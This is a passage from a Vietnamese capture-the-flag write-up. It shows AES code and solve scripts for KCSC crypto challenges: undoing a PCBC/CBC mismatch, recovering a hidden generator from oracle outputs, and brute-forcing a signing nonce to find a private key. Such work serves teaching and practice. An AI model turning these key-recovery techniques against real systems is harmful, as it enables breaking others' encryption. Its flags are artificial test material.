0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
inv_s_box = (
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)
def sub_bytes(s):
for i in range(4):
for j in range(4):
s[i][j] = s_box[s[i][j]]
def inv_sub_bytes(s):
for i in range(4):
for j in range(4):
s[i][j] = inv_s_box[s[i][j]]
def shift_rows(s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]
def inv_shift_rows(s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]
def add_round_key(s, k):
for i in range(4):
for j in range(4):
s[i][j] ^= k[i][j]
# learned from https://web.archive.org/web/20100626212235/http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
def mix_single_column(a):
# see Sec 4.1.2 in The Design of Rijndael
t = a[0] ^ a[1] ^ a[2] ^ a[3]
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)
def mix_columns(s):
for i in range(4):
mix_single_column(s[i])
def inv_mix_columns(s):
# see Sec 4.1.3 in The Design of Rijndael
for i in range(4):
u = xtime(xtime(s[i][0] ^ s[i][2]))
v = xtime(xtime(s[i][1] ^ s[i][3]))
s[i][0] ^= u
s[i][1] ^= v
s[i][2] ^= u
s[i][3] ^= v
mix_columns(s)
r_con = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)
def bytes2matrix(text):
""" Converts a 16-byte array into a 4x4 matrix. """
return [list(text[i:i+4]) for i in range(0, len(text), 4)]
def matrix2bytes(matrix):
""" Converts a 4x4 matrix into a 16-byte array. """
return bytes(sum(matrix, []))
def xor_bytes(a, b):
""" Returns a new byte array with the elements xor'ed. """
return bytes(i^j for i, j in zip(a, b))
def inc_bytes(a):
""" Returns a new byte array with the value increment by 1 """
out = list(a)
for i in reversed(range(len(out))):
if out[i] == 0xFF:
out[i] = 0
else:
out[i] += 1
break
return bytes(out)
def pad(plaintext):
"""
Pads the given plaintext with PKCS#7 padding to a multiple of 16 bytes.
Note that if the plaintext size is a multiple of 16,
a whole block will be added.
"""
padding_len = 16 - (len(plaintext) % 16)
padding = bytes([padding_len] * padding_len)
return plaintext + padding
def unpad(plaintext):
"""
Removes a PKCS#7 padding, returning the unpadded text and ensuring the
padding was correct.
"""
padding_len = plaintext[-1]
assert padding_len > 0
message, padding = plaintext[:-padding_len], plaintext[-padding_len:]
assert all(p == padding_len for p in padding)
return message
def split_blocks(message, block_size=16, require_padding=True):
assert len(message) % block_size == 0 or not require_padding
return [message[i:i+16] for i in range(0, len(message), block_size)]
class AES:
"""
Class for AES-128 encryption with CBC mode and PKCS#7.
This is a raw implementation of AES, without key stretching or IV
management. Unless you need that, please use `encrypt` and `decrypt`.
"""
rounds_by_key_size = {16: 10, 24: 12, 32: 14}
def __init__(self, master_key):
"""
Initializes the object with a given key.
"""
assert len(master_key) in AES.rounds_by_key_size
self.n_rounds = AES.rounds_by_key_size[len(master_key)]
self._key_matrices = self._expand_key(master_key)
def _expand_key(self, master_key):
"""
Expands and returns a list of key matrices for the given master_key.
"""
# Initialize round keys with raw key material.
key_columns = bytes2matrix(master_key)
iteration_size = len(master_key) // 4
i = 1
while len(key_columns) < (self.n_rounds + 1) * 4:
# Copy previous word.
word = list(key_columns[-1])
# Perform schedule_core once every "row".
if len(key_columns) % iteration_size == 0:
# Circular shift.
word.append(word.pop(0))
# Map to S-BOX.
word = [s_box[b] for b in word]
# XOR with first byte of R-CON, since the others bytes of R-CON are 0.
word[0] ^= r_con[i]
i += 1
elif len(master_key) == 32 and len(key_columns) % iteration_size == 4:
# Run word through S-box in the fourth iteration when using a
# 256-bit key.
word = [s_box[b] for b in word]
# XOR with equivalent word from previous iteration.
word = xor_bytes(word, key_columns[-iteration_size])
key_columns.append(word)
# Group key words in 4x4 byte matrices.
return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)]
def encrypt_block(self, plaintext):
assert len(plaintext) == 16
plain_state = bytes2matrix(plaintext)
add_round_key(plain_state, self._key_matrices[0])
for i in range(1, self.n_rounds):
sub_bytes(plain_state)
shift_rows(plain_state)
mix_columns(plain_state)
add_round_key(plain_state, self._key_matrices[i])
sub_bytes(plain_state)
shift_rows(plain_state)
add_round_key(plain_state, self._key_matrices[-1])
return matrix2bytes(plain_state)
def decrypt_block(self, ciphertext):
assert len(ciphertext) == 16
cipher_state = bytes2matrix(ciphertext)
add_round_key(cipher_state, self._key_matrices[-1])
inv_shift_rows(cipher_state)
inv_sub_bytes(cipher_state)
for i in range(self.n_rounds - 1, 0, -1):
add_round_key(cipher_state, self._key_matrices[i])
inv_mix_columns(cipher_state)
inv_shift_rows(cipher_state)
inv_sub_bytes(cipher_state)
add_round_key(cipher_state, self._key_matrices[0])
return matrix2bytes(cipher_state)
def encrypt(self, plaintext, iv):
assert len(iv) == 16
plaintext = pad(plaintext)
blocks = []
prev_ciphertext = iv
prev_plaintext = bytes(16)
for plaintext_block in split_blocks(plaintext):
ciphertext_block = self.encrypt_block(xor_bytes(plaintext_block, xor_bytes(prev_ciphertext, prev_plaintext)))
blocks.append(ciphertext_block)
prev_ciphertext = ciphertext_block
prev_plaintext = plaintext_block
return b''.join(blocks)
def decrypt(self, ciphertext, iv):
assert len(iv) == 16
blocks = []
previous = iv
for ciphertext_block in split_blocks(ciphertext):
blocks.append(xor_bytes(previous, self.decrypt_block(ciphertext_block)))
previous = ciphertext_block
return b''.join(blocks)
Ngồi phân tích file
chal.pythì thấy nó khá bình thường, có hàm encrypt plaintext, có hàm decrypt để giải mã ciphertext và có cả option để trả về ciphertext của Flag.Mình thử bỏ Flag hàm decrypt thử thì như dự đoán là nó không trả về toàn bộ Flag mà chỉ có 16 bytes đầu của Flag là đúng, nên chắc chắc là hàm encrypt hoặc hàm decrypt có vấn đề. Nên chúng ta tiến hành đi khám file
aes.py.Phân tích hai hàm
encrypt()vàdecrypt()của fileaes.py:def encrypt(self, plaintext, iv): assert len(iv) == 16 plaintext = pad(plaintext) blocks = [] prev_ciphertext = iv prev_plaintext = bytes(16) for plaintext_block in split_blocks(plaintext): ciphertext_block = self.encrypt_block(xor_bytes(plaintext_block, xor_bytes(prev_ciphertext, prev_plaintext))) blocks.append(ciphertext_block) prev_ciphertext = ciphertext_block prev_plaintext = plaintext_block return b''.join(blocks) def decrypt(self, ciphertext, iv): assert len(iv) == 16 blocks = [] previous = iv for ciphertext_block in split_blocks(ciphertext): blocks.append(xor_bytes(previous, self.decrypt_block(ciphertext_block))) previous = ciphertext_block return b''.join(blocks)Nhận thấy rằng Flag của ta được encrypt bằng mode PCBC nhưng hàm decrypt lại là mode CBC nên khi ta đưa ciphertext vào thì chỉ có 16 bytes đầu tiên của plaintext là đúng.

Vì hàm decrypt là mode CBC nên nó đã có bước ⊕ với IV (ciphertxt trước đó), để biến hàm decrypt thành mode PCBC thì thứ còn thiếu là ⊕ với plaintext trước đó thôi.
Nhận Ciphertext của Flag (option 3):
bd1f37f09f2d51f0af5526862aacaa49978c6ec9d8ff8a1f1da21641fab8d49f45fd3bf409c2bfe61c7dba5b43e32e4618daf4c150a8962bf416fac9f58e6359abc1da5949259468ee2d1cfc3a043eee7abf310cc158078f6a42f59f70d1671cfa3969b1f99422a520bafd676941422787a6f96d5ee3c860f3638f87c77426ae48f8af7a9a64f3fc7759140ba9a44b7675509036cc976e35dcd4ad86caeb21cd100996b444a688608c3563e859fc2fc69054af99a0221e138b3b0ab449e01f62668f47531d396d5fc5cd972e2fe14c0413045fc349435789b6823e2645424157e4f556349f810b5c3937150b8b55b70077cc8713baecceabe1037cd1f56b9ee45a654528c87c3cf093e79dbdb0769652a20c88ec8a781381cebf3a766f5be2a2c67d48c7b1096e39818ea7e54d98cdec413073351bffcaaa6fd741a1106bc7798d81d6f0efc4eb8a3f5dbe474f19c01af6225dbd2746e800ce15a61ef086df12ee4c89a9b92505802a68d29f669611eab805bd7620ae57d7ee4b23cfd5b4b44014487aa3a8abab03435bf0399041a958c9b1f39643926554f4b816868d3df0d2d52dbdfee5fe9d0221cbc2a4665ccaa7a378f7e4155b2244adb189a1e966c2021aab4d7ac67b77c4e95ba05ac9c58d2f27e927530cb62d32c018c2fa3ab07360734aa6b29582b744fd53c8a556b75781d208e994e7022d8752687431175f79e4e139c3da765cbd79c400fa6f7fad47d41c42ab414dcc1de485e269d86c29112a55bfffaf8e4fd7aa9e7dec7a8d06d5b6ed4840772c2fd281ad2f6e893bf1132d5c01e92823abe29bdac8379806aafb869584b4e1c1b6ccb32f8405d580a84868Sau đó đưa qua hàm decrypt (option 2), ta được output giải mã bằng CBC như sau:
4b4353437b50726f7061676174696e6714203a3313350030120d08021f360d0f3e0a071906022d77322f2d20420b0b0d3e191c061e063849242a2c247637011537150030120d08021f360d0f3e0a071906022d3010331f0f0a360d1c04111a360d0e2f07172d5d0e0d060d1f3a1b1c3e0a07190602291f5431300e043b063716081d360a02285b51333a0930100a001400062c013a00040602093b3c1c0e310404062c0c312c190909333c0a18090b151116271d312b1b37152d0c19110f0406113a111a3b1109361e1b1b150d1e3e030d3a07310000051b1719000c021e73280916312801090f2d18032b1e06024200041d3c051c1c18360f147128210b310f262c202d141f100c42384b3e2a0600322f2d20343200023a5c3304080d1c3a1a18300a180037290d15083e1e07000d2716301d1b002c27373a142d121f1d072a113004043e1d06113a08063a140500161800110205361a1c0027042d071a060c1e2c3e0d0d2f1c0d172b150a11290b031a10343c0b150e0a00113a1a11360c0b3006053c101c161b1701713d29000502001207171a263336263b4330280c473a3e19361d0636372b22330415051145300f31290c0d1d1b1b3e051a2514070c0b3136183a171c0a2d3900012c012c0708300a05712b3d0b330f02172c371d214030070e4d2d2c1e18000502001301016f00130c171a26041c0c310e31332c30313a141d2b21092b400c31001a0a0e1e1b1f0200362638005e0c0d1d1b1b48330a1b14070c1c313e1a093c16031d4a34103e1a153a03330005022b07141b3c1f1c000d03001303131b1b041156095c776cSau đó tiến hành ⊕ block hiện tại (bắt đầu từ block 2 vì block 1 đã đúng rồi) với plaintext trước đó và lặp lại đến hết tất cả các khối của output là ta sẽ có được Flag ban đầu:
Script:
from pwn import xor ct = bytes.fromhex("4b4353437b50726f7061676174696e6714203a3313350030120d08021f360d0f3e0a071906022d77322f2d20420b0b0d3e191c061e063849242a2c247637011537150030120d08021f360d0f3e0a071906022d3010331f0f0a360d1c04111a360d0e2f07172d5d0e0d060d1f3a1b1c3e0a07190602291f5431300e043b063716081d360a02285b51333a0930100a001400062c013a00040602093b3c1c0e310404062c0c312c190909333c0a18090b151116271d312b1b37152d0c19110f0406113a111a3b1109361e1b1b150d1e3e030d3a07310000051b1719000c021e73280916312801090f2d18032b1e06024200041d3c051c1c18360f147128210b310f262c202d141f100c42384b3e2a0600322f2d20343200023a5c3304080d1c3a1a18300a180037290d15083e1e07000d2716301d1b002c27373a142d121f1d072a113004043e1d06113a08063a140500161800110205361a1c0027042d071a060c1e2c3e0d0d2f1c0d172b150a11290b031a10343c0b150e0a00113a1a11360c0b3006053c101c161b1701713d29000502001207171a263336263b4330280c473a3e19361d0636372b22330415051145300f31290c0d1d1b1b3e051a2514070c0b3136183a171c0a2d3900012c012c0708300a05712b3d0b330f02172c371d214030070e4d2d2c1e18000502001301016f00130c171a26041c0c310e31332c30313a141d2b21092b400c31001a0a0e1e1b1f0200362638005e0c0d1d1b1b48330a1b14070c1c313e1a093c16031d4a34103e1a153a03330005022b07141b3c1f1c000d03001303131b1b041156095c776c") # 4b4353437b50726f7061676174696e67 là KCSC{Propagating flag = ct[:16] current_xor = ct[:16] # bỏ khối đầu tiên for i in range(16, len(ct), 16): current_xor = xor(current_xor, ct[i:i+16]) flag += current_xor print(flag) # b'KCSC{Propagating_cipher_block_chaining_(PCBC)The_propagating_cipher_block_chaining_or_plaintext_cipher-block_chaining[26]_mode_was_designed_to_cause_small_changes_in_the_ciphertext_to_propagate_indefinitely_when_decrypting,_as_well_as_when_encrypting._In_PCBC_mode,_each_block_of_plaintext_is_XORed_with_both_the_previous_plaintext_block_and_the_previous_ciphertext_block_before_being_encrypted._Like_with_CBC_mode,_an_initialization_vector_is_used_in_the_first_block._Unlike_CBC,_decrypting_PCBC_with_the_incorrect_IV_(initialization_vector)_causes_all_blocks_of_plaintext_to_be_corrupt.}\x03\x03\x03'
vem (medium)

- Source:
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random
from secret import FLAG
FLAG = b'KCSC{?????????????????????????????????????????}'
G = getPrime(256)
p = getPrime(512)
q = getPrime(512)
N = p*q
b, c = [random.randint(0, 2**64) for _ in range(2)]
def P_x(x):
return x**2 + b * x + c
def gift(a):
return pow(G, P_x(a), N)
def encrypt_message(msg, key):
cipher = AES.new(key, AES.MODE_ECB)
return cipher.encrypt(msg).hex()
MSG1 = bytes_to_long(b"Make KCSC")
MSG2 = bytes_to_long(b"Great Again")
options = """
1. Get gift
2. Flag
"""
print("I want to see you in KCSC")
print(f"N = {N}")
print(f'P(x) = x^2 + bx + {c}')
print('pay for g :)))))')
print("Choose your option")
print(options)
for _ in range(5):
try:
option = int(input('> '))
if option == 1:
msg = int(input('Give me your msg: '))
print(f'Your gift: {gift(msg)}')
elif option == 2:
key = pow(G, 2*MSG1 * MSG2, N)
enc_flag = encrypt_message(pad(FLAG, 16), long_to_bytes(key)[:32])
print(f'Here is your enc_flag: {enc_flag}')
else:
print('Invalid option :((')
exit()
except Exception as e:
print('Error occurred :((')
exit()
Phân tích Source ta thấy rằng key được mã hóa bằng cách tính
pow(G, 2*MSG1 * MSG2, N), với giá trị MSG1 và MSG2 đã có, mục tiêu của ta là tìm được GChallenge cũng cho ta nhập vào một giá trị x bất kì để tính giá trị của Gift, trong đó:
$$\text{Gift} \equiv G^{x^2 + bx + c} \pmod N$$
Vì thế ta sẽ lợi dụng giá trị x này để tính lại giá trị $G$ ban đầu.
Challenge chưa cho ta giá trị b nên ta sẽ tìm cách để triệt tiêu nó. Đầu tiên ta gửi ba giá trị x là -1, 1 và 0, được ba kết quả như sau:
$$\begin{gather} \text{Gift}_{-1} = \text{G}^{-b + c + 1} \newline \text{Gift}_1 =\text{G}^{b +c + 1} \newline \text{Gift}_0 = \text{G}^{c} \end{gather}$$
- Lấy \(\text{Gift}_{-1}\) nhân với \(\text{Gift}_1\) được:
$$\text{G}^{-b + c + 1} \times \text{G}^{b +c + 1} = \text{G}^{2c + 2} = \text{G}^{2c} \times \text{G}^{2} = \text{Gift}_0^2 \times \text{G}^{2}$$
- Vậy ta tính được giá trị của \(\text{G}^{2}\) là:
$$\text{G}^{2} \equiv \text{Gift}_{-1} \times \text{Gift}_1 \times \text{Gift}_0^{-2} \pmod N$$
Vì \(\text{G}\) chỉ lớn 256 bit nên \(\text{G}^{2}\) sẽ bé hơn N (1024 bit), ta chỉ cần tính căn bậc hai của \(\text{G}^{2}\) trên trường số thực là sẽ có được \(\text{G}\).
Script:
from Crypto.Util.number import * from Crypto.Cipher import AES from Crypto.Util.Padding import pad from gmpy2 import iroot g0 = 68709246753718708670434009468603812974169730880153372110182606027552206350317791358757202779168733600759215556114409595644777258807639505704788072606532821696532807121688324431031050041320682016561540194647870403534914783447479491524407581399830011189381812922803275186625229630192946937561415007763234855418 g1 = 34912588211485487865266218601704066950383917642724347506083898462113941064077455705169681005963342375593688421399108198203498076409644237969447450208571854706415271918417061971940103387042750662416626209121400964110421639401854909795659178421492644182031211590672462202637945253500739318723159856916161975048 g_1 = 11186741340123775362088539391154861118292423476007589818009758364041151686393407198862771587531612692555053653337196730852015297901445970353774615829133233790769710578342099928560157910124055319112487021351081043889989246091356061788284924405098962070739530308884383115967974725358199407010468585449409245067 N = 106204527447305751846882251060475772730437136941185872213298995208525994414059793295374996918284654725292034949561262467748493471889227649964473617275415214227226870761256042534830419906951817128862859251725033489046287902825423970540811544802157468312878182813317947896749764084503149466587697826296781850847 ct = bytes.fromhex("6eef3cb780a4caae1efc2ad63a78f3709f73957299908d8992cad9de3ddb081a7fab79e52816f10ce689a6c645965fba44ce2b2ddba4d0e51a222b062b4b97c9") MSG1 = bytes_to_long(b"Make KCSC") MSG2 = bytes_to_long(b"Great Again") G2 = (g1 * g_1 * pow(g0, -2, N)) % N G = iroot(G2, 2)[0] key = long_to_bytes(pow(G, 2*MSG1 * MSG2, N))[:32] cipher = AES.new(key, AES.MODE_ECB) print(cipher.decrypt(ct))
Flag: KCSC{Congr4tulati0n_to_you_0n_5olving_chall_lor:)))}
Simple lath (medium)

- Source:
from hashlib import sha256
from Crypto.Util.number import bytes_to_long , getPrime
from math import prod
from random import choice ,randint
from secret import *
array = [i for i in range(1,1000,2)]
n = prod([i for i in array if choice([0,1])])
def sha256_(plaintext) :
return bytes_to_long(sha256(plaintext).digest())
def sign(x,m,g) :
k = randint(1,2**18)
r = pow(g,k,n)
s = ((m-x*r)*k)%n
return r,s,get_chances(k,n) # from secret
def main() :
print("Welcom to my easy sign channel")
print("Can you guess my private key ???")
private_key = randint(2**32,2**128)
print(f'Public key : {hex(n)}')
while True :
g = getPrime(128)
plaintext = bytes.fromhex(input("Input your plaintext : "))
m = sha256_(plaintext)
while True :
r,s ,num_rounds = sign(private_key,m,g)
if num_rounds > 150 and num_rounds < 999:
break
print(f'g : {hex(g)}')
print(f'r : {hex(r)}')
print(f's : {hex(s)}')
inp = int(input("Do you want sign more (0/1) "))
if inp == 0 :
break
print(f'You have {num_rounds} chances ~.~ ')
for _ in range(num_rounds) :
private_user = int(input(f'Submit you private key : '))
if private_user == private_key :
print(f'Here is your flag , cheater : {flag}')
exit()
print(f'Did you get what you wanted? ')
print(f'If not, here is my gift for your : {f1ag}')
main()
- Quan sát source, ta biết rằng để có Flag thì phải gửi cho server giá trị đúng của khóa bí mật d, ta có công thức của khóa bí mật d như sau:
$$s \equiv ((m-d\times r)\times k) \pmod n \hspace{3mm} (1)$$
$$\Leftrightarrow d \times k \equiv (s - m \times k) \times (-r)^{-1} \pmod n \hspace{3mm} (2)$$
Lý do mình không nhân hai vế phương trình $(1)$ cho \(k^{-1}\) là vì $n$ có rất nhiều ước, nên giá trị \(\text{GCD(k, n)}\) thường không phải 1 nên không thể triệt tiêu $k$ được.
Giờ ta có phương trình $(2)$ là phương trình linear Congruence, tức là phương trình dạng \(A \times x \equiv B \pmod N\), nói sơ qua thì phương trình này có nghiệm khi và chỉ khi $B$ chia hết cho \(\text{GCD(A, N)}\).
Bổ sung thêm là phương trình \(A \times x \equiv B \pmod N\) có 1 nghiệm khi \(\text{GCD(A, N) = 1}\), và có $K$ nghiệm khi \(\text{GCD(A, N) = K}\), có thể xem cách giải ở đây. Ở Challenge này thì \(\text{GCD(A, N)}\) thường khác 1 nên phương trình sẽ có kha khá nghiệm.
Quay trở lại với Challenge thì phương trình $(2)$ của ta chưa có giá trị $k$ vì vậy ta sẽ tiến hành brute force $k$ để tìm lại giá trị $k$ ban đầu của server. Mình thấy rằng trong \(\text{GCD(k, N)}\) nghiệm của phương trình $(2)$ thì tất cả đều cho số rất lớn (xấp xỉ giá trị bit của n) trừ giá trị $d$ vì nó vẫn có kích thước 128 bit.

Vì thế khi ta brute force trúng giá trị $k$ của Challenge thì ta sẽ lọc ra trong \(\text{GCD(k, N)}\) nghiệm đó giá trị nào 128 bit thì đó sẽ là giá trị $d$ của ta. Có $d$ thì gửi cho server và bài toán kết thúc.
Script:
from Crypto.Util.number import GCD
from tqdm import trange
# nhận các tham số của Challenge, m là hash của 01
n = 0x255601e1de9c4aa1c5d7ed41d6ba8084c3a4f9f18169ce7dfed3833f787cbed3ec7cc2225d0f6b49f0fe28b2fd159105f513a10013696501e487ac6221b6dd8fc45b8fc313608227c381430524a27301c90751d616d52d4b720400994d8bde35703207f22cdf18f8f89e17c8421daef31e43f1ae99a77687c25dee9405a4c205dace678a9b2de1d49b818e7b78cb68bafbd48d4c781d6b98bac90e002c08f8c578aceff78c4296deb7aa6e3a03a8790813b27b67b33288a2998adc24c3b0c7f14da0c00b9ff397463c5a2f64e98688635a344ab0f3b2795e20f8ff1e53c6f82f72a14ccca3182a2146919bde3a6b169342b0fb6be1632286d4e1070dcf4e6b0f
m = 34356466678672179216206944866734405838331831190171667647615530531663699592602
g = 0x902bf7a457553a6244bd9389ac2b48b9
r = 0x17bd57cb11862d85c09f1ab44734f7184ac5909ba3eeeb18c439833ebeeed43b711c75fcf302e31c18303daaa34a889c0005ad445e3822f75a151be3f9b0ee0691bad93efcd9741cb60fbea3b496cb321490fe696805abf958cb13b28429489214eeb2550b12876512dbc4fc20ee7ed72da896eca35e19fab9f6f45c8a46f8eedc50aea293ab1caac85a559804855aaa4a89a696225de33f099bdb7c67944e4ecb2e2d36427011f353acf2e21ad49f30519717fb373c819c0670e14d252570bd5e8ec454a861fe516bbcaee8664a61f0540f8068b5e9d427a7b34e191f4c3aa4d3bc05426f00a4fb4cf3d74afa8ad6f70797b9d01923b939ea1fc8d7fd8ca1f7
s = 0xd56b8e0333b99b04cab487c1f54b1c8d4737b7ad1b1a2a19d972dc5cbca018596a6d529c5b07bf5dbd1c4eca998a26fa464c5f83eee7b50fc5bb6338633f9cca9e12fd53b6976f4394ceee049f2548f8be0679436ba2a4d845d5dbebfb0b16d2b97aad64d189dbd0a1197b6e6f0535b09641a9f1c6e950a12e0503090d170988204b806db26947fc3a652ebc45af35d4d2a8484ef90182638983cabbec2ad2eb85eefc6488630d27d3751802c7ee37bd6faa69686f85fc7a02844f421ee2bf60d5aff06c554c959d3b6eb30063ebca2edb149330fc04cfe7c7789f3a36ecc31cd985d0b7b1f78eea2f2b78c0b6ff30f68162c8073fd04ac88547fcf8610095f
# https://www.geeksforgeeks.org/solve-linear-congruences-ax-b-mod-n-for-values-of-x-in-range-0-n-1/
def ExtendedEuclidAlgo(a, b):
# Base Case
if a == 0 :
return b, 0, 1
gcd, x1, y1 = ExtendedEuclidAlgo(b % a, a)
# Update x and y using results of recursive
# call
x = y1 - (b // a) * x1
y = x1
return gcd, x, y
def linearCongruence(A, B, N):
A = A % N
B = B % N
u = 0
v = 0
# Function Call to find
# the value of d and u
d, u, v = ExtendedEuclidAlgo(A, N)
# No solution exists
if (B % d != 0):
print("B mod gcd(k, n) != 0")
exit()
# Else, initialize the value of x0
x0 = (u * (B // d)) % N
if (x0 < 0):
x0 += N
# Pr all the answers
for i in range(d):
solutions.append((x0 + i * (N // d)) % N)
# phương trình của ta là:
# x*k = ((s - m*k) * pow(-r, -1, n)) % n
found_d = False
for k in trange(1, 2**20):
if found_d: break
solutions = []
B = ((s - m*k) * pow(-r, -1, n)) % n
if B % GCD(k, n) == 0:
linearCongruence(k, B, n) # giải pt
for i in set(solutions):
if i.bit_length() <= 129:
print(f"{k = }")
print("d =", i)
found_d = True
break
# k = 41600
# d = 299333094175056122872226309457434950402
- Flag của ta:

Icecream but easier (easy/medium)

- Source:
from Crypto.Util.number import *
from hashlib import sha256
from Crypto.Cipher import AES
from secret import flag
from Crypto.Util.Padding import pad
# Copy from Wannagame Championship 2024
class IceCream:
def __init__(self, nbit: int):
self.p = getPrime(nbit//2)
self.q = getPrime(nbit//2)
self.n = self.p * self.q
self.phi = (self.p - 1) * (self.q - 1)
# self.e = getPrime(16) # a harder version
self.e = 10001
self.secret1 = getPrime(384)
self.secret2 = getPrime(384)
self.d = inverse(self.e, self.phi)
def wrap(self):
c = pow(self.secret1, self.e, self.n)
c += self.secret2
self.secret1 = c
return c
def main() :
cart = IceCream(512)
for _ in range(4) :
print(cart.wrap())
key = sha256(str(cart.wrap()).encode()).digest()[:16]
cipher = AES.new(key,AES.MODE_ECB)
print(cipher.encrypt(pad(flag,16)).hex())
main()
"""
983988808468238406815261032742287398509539527772118186899154605157252213084385662543553125083212552614855410938487363846612472902230851873122019688775351
411920476721397965776323967885506259683504493586810231951685564745710311651646483406456114404428768195904417807999931167817184410508419226228074455888655
4698285906809496129283017525468414276062165111247080417389967682278838749600348577192449627647158658589122409242574072399131912703350920146158705409829488
2355255751438494111558900855149710130746636811000805924350928855795353027981395558758632216685403335142820213370399046347758646897427052652845539550759589
b83519144a6ec70cf1d97e7b2bb952036e77260cac361ed742a190b3dddd1954717c41c8d8baaff729245b9a80e70e52d13150d59e12b6840f590102cb8a0891
"""
